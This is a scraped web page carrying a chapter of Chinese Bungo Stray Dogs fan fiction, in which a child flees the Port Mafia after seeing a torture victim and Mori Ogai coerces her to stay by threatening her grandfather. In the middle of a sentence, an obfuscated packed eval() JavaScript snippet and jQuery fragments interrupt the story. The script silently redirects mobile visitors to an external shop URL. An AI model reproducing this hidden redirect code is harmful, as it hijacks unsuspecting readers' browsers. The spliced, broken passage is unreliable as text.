10.第十章
    急促的脚步声回荡在昏暗的长廊里,电梯运行在无法触及的更上层,那孩子没有停顿,直奔消防通道。

    “小椿!”

    在小椿身后,身着和服的女性焦急的追赶着她跑远的身影。

    尾崎红叶手上还拿着之前审讯时用的刑具,带着倒勾如同刺棍般的道具上,血迹斑斑还挂着零星肉泥。

    她身上的衣服,因为是和血一样的红色,让人看不端倪来,可那些湿润的痕迹已经隐晦的表达了一切。

    小椿没有回头,她不停迈动着双腿,竭力往台阶的更上层跑动。

    空白一片的大脑,机械迈动的双腿,小椿不知道自己为什么要逃跑,回过神来时,她已经这么做了。

    光亮从紧急逃生通道的门口传来,小椿莽撞的跑过去,却和一个普通黑西装的成年男人撞了满怀。

    那人腰间别着枪,紧张的将她扶稳:“椿小姐,你还好吗?”

    血腥味裹着硝烟味齐齐涌入鼻间,小椿骇然的瞪大双眼,猛地将人一把推开。

    为什么、为什么现在才发现?!

    训练场里挥之不去的腐臭味,是因为下一层就是血腥的地牢,他们每个人都配着枪,因为每天都在杀人放火!

    港口黑、手党是魔窟,每个人都是毫无人性的刽子手!

    明明都有迹可循,为什么她现在才发现?!

    森冷的寒意缭绕在周身,小椿又想开始呕吐,跌跌撞撞的往大厦外跑去。

    明亮辉煌的大厅里,来往行人一边避让她的轨迹,一边忧心的出声询问。

    “椿小姐?你怎么了?”

    “是身体不舒服吗?我送你到忍足医生那里去吧。”

    “椿小姐?”

    熟悉的、陌生的…无数个声音回荡在耳畔,宛如魔鬼的低语,让小椿无处可逃。

    就在快要跑出大门时,她迎面撞上一双修长的腿,一双苍老的手稳稳落在小椿肩头,熟悉的声音从头顶传来。

    “小椿?发生什么了?别害怕,爷爷在这里。”

    小椿呆愣愣的仰起头来,入目的是一张苍老却不失帅气的面孔。

    以往她觉得无比慈祥的脸,如今仿佛都笼罩上了让小椿恐惧的阴影。

    猛地将肩上的手拍开,小椿狼狈的后退了几步,拉开到安全的距离后,她颤抖着张了张唇,却一个字都说不出来。

    广津柳浪眸光一暗,看着小家伙涨红的眼圈以及异样的表现,不需要过多的思考,他已经明白究竟发生了什么。

    “小椿…”广津柳浪站在原地,他想要说些什么,到最后来千言万语只汇集成了三个字。

    “对不起。”

    眼泪扑簌簌的坠落,小椿狼狈的揉着眼,颤抖的声线磕磕绊绊的吐出。

    “我在地牢里…看到了…好可怕…为什么?”

    那个隔间里的生物,已经不具备人形了,血肉模糊的像是一团死物,偏生ta还在出气。

    那样恐怖的场景,说是地狱也不为过。

    不忍之色在眸中一闪而过,广津柳浪稳在原地:“那是敌人。”

    “那为什么不杀了他?!为什么、要…要这样…”

    老人眸光认真:“因为还要从他嘴里撬出情报,对敌人仁慈就是把自己放入险境里。”

    “这样的事情每天都在发生对吗?我以后也会被安排去杀人对吗?”

    似乎已经不在抱有任何期望,小椿仰着头喉咙哽咽。

    广津柳浪没有说话,可他的沉默已经代表了一切。

    小椿闭目深呼出一口浊气,再睁开双眼时,眸中还夹杂着水色,却已然坚定了不少。

    “我要离开这里,我不想做黑、手党。”

    女性的声音从背后传来,伴随着由远及近的脚步声。

    “港口黑、手党没有退出这么一说,只有叛逃,叛逃的人即使逃到天涯海角都会被抓回来处决。”

    尾崎红叶来时,身上还充斥着浓郁的血腥气。

    她没有靠近,神情落寞的站在不远处,不敢上前。

    “小椿…别怕我好吗?我是你的老师,我从来没有想过要伤害你。”

    那孩子转头看去,紧抿着唇却是一言不发。

    就在这万籁俱寂的片刻里,电梯处传来叮咚一声。

    伴随着缓缓开启的大门,身着白大褂的青年走了出来。

    森鸥外脸上还带着苦恼之色,他叹息一声,伴随着缓慢的脚步开口道。

    “真是个天真的孩子。”

    他走到小椿面前,以一个居高临下的姿势,脸上还带着的慈爱。

    “即使你离开,你的能力也会成为你的催命符,小椿,乖乖呆在这里不好吗?”

    森鸥外说罢便伸手,刚想摸摸那孩子的头,却被猛地拍开。

    冷冽之色在眸中一闪而过,森鸥外若无其事的揉了揉自己的手背。

    “嘛,港口黑、手党对于叛徒从来不会姑息,小椿,就算你不在乎自己的性命,那你爷爷的呢?”

    骇然瞪大双眼,小椿仰头看着他,最终咬牙切齿的憋出两个字。

    “无耻!”

    森鸥外松了口气,看着她涨红着脸的样子,轻笑出了声。

    虽然他完全可以将人直接压到禁闭室,关到她想明白为止,但那只是下策。

    一把趁手的刀,必须得好好打磨,还得防着噬主。

    既然有软肋,就更好拿捏了。

    “这里不是说话的地方,跟我去顶楼吧。”

    森鸥外说罢,就折返朝着电梯走去,小椿犹豫了一瞬,紧抿着唇抬脚跟了上去。

    …

    森鸥外的办公室里,有很多书架排列在办公桌后方。

    昏暗的室内,少年人正百无聊赖的趴在桌子上,玩弄一管透明的试剂。

    伴随着大门打开,光线倾洒进来,太宰治放下试剂,懒洋洋的看了过来。

    森鸥外长腿一迈在靠墙的双人沙发上坐下。

    “坐吧,小椿,我们好好谈谈。”

    小椿面无表情走到在离他稍远的沙发旁。

    “看到地牢里那副景象,一定吓坏了对吗?”

    森鸥外拿起桌上的白瓷茶壶,一杯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583084|143089||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    温热的红茶倒进杯里,递给那孩子。

    “喝些热乎的,会好些。”

    小椿没有拒绝,她确实感觉不太好,急需一些措施让自己冷静下来。

    双手捧着杯子,隔着薄薄的瓷壁,能感受到里面热意,她稍微放松了一些。

    但这还不够。

    森鸥外声音不疾不徐:“小椿,在我坐上首领位子之前,横滨有过一段非常混乱的时期,那时候每天都会死去很多的人,百姓们根本无法生活。”

    小椿抬眸,面无表情:“你想说你是个好人,做这一切都是为了横滨?”

    对面的成年人一愣,随即笑意在脸上漾开:“你有着不属于这个年纪的聪慧。”

    小椿一僵,后知后觉的才反应过来,自己的身体现在只有五岁。

    但是装傻充愣已经来不及了,而森鸥外的讲述还在继续。

    他眸光认真,脸上甚至还带着一股少见的真诚。

    “有一位老人说过,想要结束这场混乱,必须要有人站出来守护横滨。白天有隶属于国家的机构异能业务科,黄昏时分有民间组织的异能机构,而我们港口黑、手党会在夜晚守护横滨。”

    “那位老人将这个计划称之为——三刻构想。”

    随着他缓缓讲述,小椿脸上的神情终于有所松动,她喃喃着。

    “三方势力彼此牵制,不会出现一家独大的情况,毕竟屠龙者终有一日也会变成恶龙。”

    她话音落下,便见对面的青年眸光倏忽间亮起,有什么炙热滚烫的东西越来越烈。

    “没错,所以你一定明白的吧,我所做的一切都是为了横滨。”

    小椿没有快速回答,她紧抿着唇像是在思索,良久终于摇了摇头:“我不想杀人。”

    “个别人的流血和牺牲,换来和平的大局,是最优解。”

    神情微冷,小椿坚持:“你会觉得这是最优解,是因为你不是那个流血牺牲的个别人。”

    话音落下的一瞬,室内过了良久,都没有人说话。

    万籁俱寂之时,森鸥外忽然叹了口气,他定定的看着小椿,脸上还带着可惜与遗憾。

    “我们这是谈崩了吗,小椿?”

    小椿很想说是,但是想想爷爷,她咬了咬牙站了起来:“我不想杀人,但是我可以为你做别的事情。”

    “哦?愿闻其详。”森鸥外脸上的失望之色并未退去,他后倚在沙发背上。

    在他的情报里,小椿的异能虽然存疑,但攻击和防守都很强悍,是一把只差打磨的好刀。

    再好的刀不愿意出鞘,都成了鸡肋,与其食之无味,不如直接舍弃。

    至少在这一刻,森鸥外真的起了舍弃这颗棋子的心思。

    在开口之前,小椿忽然回头看去。

    昏暗中,桌前的少年人不知何时已经坐直了身子,他眸光暗沉沉的落在小椿身上,像是在无声的嘲讽。

    蠢货。

    莫名的从太宰脸上读出了这两个字来,可是小椿已经没有回头路了。

    “我有治愈能力,我可以做港口黑手党的医生。”